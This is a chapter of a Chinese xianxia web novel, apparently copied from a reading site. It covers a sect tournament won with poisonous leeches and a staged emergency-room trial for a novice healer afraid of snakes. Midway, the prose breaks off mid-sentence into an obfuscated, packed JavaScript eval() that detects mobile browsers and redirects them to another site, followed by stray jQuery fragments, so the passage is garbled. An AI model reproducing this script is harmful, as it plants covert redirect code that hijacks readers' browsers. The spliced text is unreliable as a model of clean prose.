上官静跟云绗的寒暄时间没有超过半炷香,就被等的不耐烦的长老催促着结束了比赛。

    云绗抱着毛团们猛吸一大口,才恋恋不舍地走出比赛场地,朝着林风远所坐的前排位置走来。

    然后他一屁股坐在了林风远的旁边,在周围弟子疑惑的眼神中,有气无力地解释道,“你们不用管我,我只是预感到顾随风一会儿跟上官静打完,肯定又要被抬到的药峰去了,干脆就坐在这里等他好了。”

    他拍了拍淡定的林风远和惊恐的席素,“你们两个,一会帮我把他抬过去。”

    席素指了指江若南,“让她抬才不是更好吗?她和顾随风是同峰的,比我更有感情!而且论体力,我也没她好,这不是浪费时间吗?”

    只见云绗一脸同情地盯着席素看了一会儿,“她是女孩子啊,而且修仙之人的体力,抗一个人怎么不行?你就是那个被活阎王看上的倒霉孩子吧?很好,我的过去,你的未来,祝你好运。”

    席素连连摇头,“我不是,我没有,学长不要信谣、传谣。”

    然后席素就被打着哈欠的云绗无视了。

    上官静的下一场团队赛对手正是顾随风。

    上官静从个人赛中,已经知道顾随风获得了岑阁主的护身法宝,对他的重视程度,直接拉到了满级。

    而顾随风也吸取了之前的教训,直接杀虫会被毒液毒晕,放火烧虫又会被毒烟呛晕,垒起的土墙会被巨型蠕虫挖空。于是今年再面对上官静的毒虫大军,顾随风转而选择用水围攻。

    上官静团队所释放出的雾气,也属于水的一种,很快就被顾随风这边的水灵根成员抢走控制权,吸入了水团;被水刃斩杀的毒虫尸体和毒液,也跟着水流重新汇入了一个圆球状的水囚笼,既确保了视野的清晰度,又能保证顾随风团队的成员不会被毒素侵蚀。

    顾随风的队员很快就清空了团队赛上大半个赛场的雾气,畏缩在剩余雾气的毒虫群,也肉眼可见的稀薄起来。

    正当顾随风以为自己终于要破解上官静的团队赛策略后,地上又突然出现一只缓慢爬行的黑色大虫,团队成员们想都没想,直接发射了十几道水刃过去,把黑色大虫直接割散成七零八落的碎片,然后把这些黑虫碎块卷起,扔进了被控制的死死的毒废水囚笼。

    碎块刚进毒废水没有多久,就突然膨胀起来。

    原本黄紫浑浊着的水囚笼,也骤然变得黢黑,甚至还能看到水囚笼的边缘,突然出现了一大堆令人头皮发麻的黑色扭曲长条。

    只见囚笼中的毒废水,被黑色碎块一吸而空,一只只硕大的黑色长虫,重新爬出了没有水的囚牢。

    顾随风这时才看清楚,这黑色长条的真实身份。

    上当了!这是上官静放出的水蛭科灵兽!

    刚才他们打散的黑色大虫,根本不是一整只,而是上千条黑色水蛭科集合在一起的假象。

    在场的所有人都看得头皮发麻。

    如果说之前的毒虫群只能算是精神攻击外加物理攻击,那么这堆水蛭群可以称得上是精神污染加魔法污染了。

    吸足了水牢毒液的水蛭科灵兽,直接将毒液融入了自己的身体,靠水牢最近的几位倒霉弟子,直接被爬上皮肤的毒水蛭咬了一口,立马人事不省地昏了过去。

    其他水蛭群就在上官静的操控下,绕开了晕倒在地的弟子,转而追着其他尖叫着骂街的对手,展开了水蛭群的弹射攻击。

    只要被弹中一条水蛭,下一秒,就能听到紧随其后的轰然倒地声。

    别说顾随风的团队成员崩溃了,围观的其他弟子也看得很崩溃。

    就算是没有密集恐惧症,也不由得闭上了眼睛,双手合十,为场内的不幸选手祈祷。

    并在心中疯狂庆幸,太好了,幸亏我们风字辈没有上官静学长这种变态又恐怖的对手!

    要是有的话,绝对认输!

    在躺着从药峰醒来,和站着跳出比赛场地的两个选项之间,顾随风团队的其他成员,毫不犹豫地选择了跑路。

    别说风字辈的弟子们觉得这个选择正确了,就算是在半空维持秩序的长老也觉得情有可原。

    除非你能瞬间清空水蛭群,不然留在场内,一定不会是什么明智的选择。

    可惜,目前的顾随风还没有这样的能力。

    所以他很快就在水蛭群的重点围攻下,被寻到了空子的一条水蛭爬上小腿,一口下去,直接送了他一套药峰重症监护院的安眠套餐。

    上官静从雾气中走了出来,收回了满地的水蛭科灵兽,自言自语道,“完事收工,再不结束我的灵力都要耗尽了。我还以为你小子真的能破解我的战术呢,我都做好了第二套准备方案了,结果这么快倒下,菜啊~”

    当然,这句话只能由其他清醒的队员,传达给清醒后的顾随风了。

    云绗直接站起身来,指挥林风远和席素,往躺在地上的几个人的嘴里,倒解毒药剂,然后催使他们把顾随风抬去了药峰。

    另外几名被毒晕的弟子,则是被跳出场外的幸存队友背去了药峰。

    即使上官静的团队还剩一个对手,但所有人都知道,比赛进行到这里,冠军已经昭然若揭了。

    因为最后一个团队,带队首席是万随元。

    理论上来说,凤凰一族对灵兽有着天生的血脉压制,只要万随元现出它的原身,灵威就能克制所有灵兽动弹不得。

    但是实践经验告诉所有弟子,凤凰一族虽然克制灵兽,但是驯兽师却可以克制凤族。

    长老宣告了三遍,请万随元团队成员入场。

    但万随元的团队成员四处寻找无果之后,只能互相摊手耸肩,向长老表示他们弃权。

    席素都离开场地五十米远了,还能听到上官静扯着嗓子大喊:“不可以,别弃权啊!你们怎么能够弃权呢?小凤凤,你上来啊!你要是上来,我立马认输!真的不骗你!”

    上官静的团队成员已经开始坐下休息了。

    谁都知道,万随元绝不可能因为这种事情上台的。

    更何况上官静大喊了三遍后,还是没能忍住口水,发出了一声吸溜的怪声音。

    听到这个声音,上官静的团队成员们直接在台上开始了打赌。

    赌万随元会上台的赌注,一个比一个开得离谱,全都是看热闹不嫌事大的。听得万随元的队友们,都想把万随元抓上台然后五五分账了。

    可惜这种想法也只是想想,万随元估计早就在上官静战胜顾随风的时候,忙不迭地落荒而逃了。

    另一边,被云绗强行抓到药峰的席素,原本是打算送完顾随风就偷摸回去。

    结果伏听尘突然出现,说是要抓两个幸运弟子和她去其他主峰做急救。

    成功把云绗和林风远推出去的席素,只能被迫接手一部分的辅助工作,被扔到了急救区,帮忙救助在宗门小比中受伤的弟子。

    让席素没想到的是,急救区的工作台,居然摆了一条肥得鳞片都被撑开的青黑色灵蛇。

    这个条灵蛇的品种很出名,叫问青光,是一种带有剧毒的灵蛇。

    低阶的防御不太好的修士被它咬到后,会被引发灵力暴动,从而导致心肺血脉频率过高的梗死。但只要将它的新鲜毒液经过稀释,就可以利用这一特点,注入各种因为意外导致灵力循环变慢、灵力枯竭、心跳停止的体内,进行强力刺激,争取到宝贵的急救时间。

    由于毒液离开蛇体四个时辰之后就会失活,所以很多急救处都会养上这么一条问青光,以防万一。

    饶是席素这种极端怕蛇的人,也没有大喊大叫,只是默默地远离了这根肥的不愿意动弹的胖青蛇。

    他的一举一动,被急救区的影像石全数记录了下来,传给了急救区不远处的峰主专用配药室。

    原本说是要去其他主峰做急救的伏听尘,此刻正坐在配药室里面看戏。

    云绗和林风远默默地站在旁边,用联络玉简给提前准备好的演员们下达指令。

    这是一场策划已久的、专门为席素布置的考验区。

    急救区的其他弟子在处理完急救工作后,就抬着患者转往了监护区,席素这个还没有参加过炼药师资格考核、治疗医师资格考核的新手,自然不可能直接上手救人,只是被使患者搬了七八次病床。

    来来回回的搬床跑动,累得席素这个体力菜鸟气喘吁吁。等他再度被监护区的学长打发回急救区后,正好遇上了急救区最后一位执政学长抬着病床,说他马上要去一趟重症监护院,让席素在这好好留守,不要乱跑。

    没有多想的席素高兴地答应了,喜滋滋地坐在急救区的门口座椅上,以为自己能够悄悄的偷个懒。

    谁知,好巧不巧,急救区的大门被猛然推开,一位女子背着一位不省人事的男子冲了进来。

    声音带着哭腔,心急火燎地对着席素大喊,“大夫!大夫快想想办法!我和我朋友出门被暗算了,你快想想办法救救他!”

    席素也惊得从椅子上跳了起来,左右张望,四下无人,急得席素在心中大喊:你们也来得太不巧了!

    没办法,作为唯一的留守药修,席素再不情愿,也只能硬着头皮上,先给男子进行了问诊。

    一摸脉象,直接没有摸到心脉的跳动,神色凝重的席素立刻检查了心脏。

    好家伙,果然停了。

    他催使灵力体内流转,灵力也没有起伏,席素立刻判断,距离心脏停跳估计已经有一段时间了,必须立刻采取急救措施。

    好在他对问青光的使用是学习过的,纵然还有些拿不准,可眼看着人就要没命还是硬着头皮上了。

    不过席素看了一眼远处,躺着不愿意动的灵蛇,结结巴巴地向女子提议:“那个……能否麻烦你,去帮我取一点那条蛇的毒液。”

    刚想昧着良心说那条蛇很乖,结果那女子只是抬头看了一眼,就发出一声尖叫,双腿一软,直接瘫坐在地上。

    “蛇!毒蛇!这里怎么会有毒蛇!”

    席素连忙解释,“那是心肺急救用的药材,不是野生的毒蛇!”

    “我我我可是我怕蛇啊!你不是大夫吗?你怎么不去抓蛇?我一个虫子都怕的弱女子,怎么去抓蛇啊?呜呜呜我真的很怕这种东西。”

    听到女子梨花带雨的哭声,席素也很绝望。

    我怎么不去抓蛇?问得好,我也很想哭。

    内心吐槽归吐槽,现在这个场面,摆在席素面前只有两条路。

    一是立刻去监护区或者重症监护院请前辈赶来急救。

    但急救本身,就是一场在黑白无常手下抢人的博弈。现在这个危机情况,别说是在浪费时间去请前辈了,就算是席素立刻自己上,也不一定救得回来。

    所以第二条路,就是席素自己从毒蛇嘴里挤出毒液,立刻展开急救。

    想象总是简单而美好的,现实却是,席素看着那条蛇,只觉得双腿僵在原地,根本无法动弹。

    就像是恐高的人,站在高处根本不敢向下张望;如同怕鬼的人,走在黑夜不敢熄灭灯火。

    勇气是少数时候的高光。

    心魔的本质是对某一种事物发自内心的恐惧。而恐惧一旦产生,就是缄默的深藏于四肢百骸,在一些时候紧紧将你捏于鼓掌之间。嘲弄人们内心的懦弱,一遍又一遍的在心中刻下“你永远不会战胜恐惧”的深刻烙印。

    席素自认为自己只是一个刚刚踏上药修之路的新手,即使他很有天赋,也终究是一个连一阶炼药师资格证都没有考的新人,想必前辈们也不会因为他放下急救患者去求助,而斥责他有问题。

    更何况这两人跟他并不熟,送来的时间也太晚了,和半死亡没有区别。就算是立刻采取急救措施,也不见得能将对方从生死边缘拉回来。

    与其愣在原地,还不如立刻去请前辈回来施救。

    云绗此刻也有些紧张。

    老天保佑,你小子可千万别跑!你要是跑了,活阎王肯定要我带你去兽峰一起做脱敏治疗了。

    我只想要一个可以帮我顶班的后辈,不想要一个给我增加工作量的拖油瓶。

    当初他也面临过类似的,打死他都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552656|162870||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    没有想到,切开纱布会看到蠕虫在里面蠕动。

    要不是求助只会拖延急救时间,他真想立马丢下手上的患者,然后窜到前辈身边求救。

    仅存的理智,逼着他一边流着眼泪,一边在心中大喊:“啊啊啊啊啊,这个完蛋的世界!我受不了了!劝人学医,天打雷劈啊!”

    流泪归流泪,心中的呐喊归呐喊,也不影响云绗稳定的手拿着镊子剔除了蠕虫,顺利完成急救。

    虽然事后得到了前辈们的一致肯定,也依然没有逃过活阎王的摧残,前脚把他扶上了字辈首席的位置,后脚就把感动的眼泪汪汪地擦丢去兽峰,接受蠕虫类灵兽的脱敏治疗。

    云绗对伏听尘,可谓是又怕又怨又感激。

    曾经有过的那些感动,都在活阎王毫无人性的脱敏治疗法里消耗殆尽了。

本章未完,请点击下一页继续阅读>>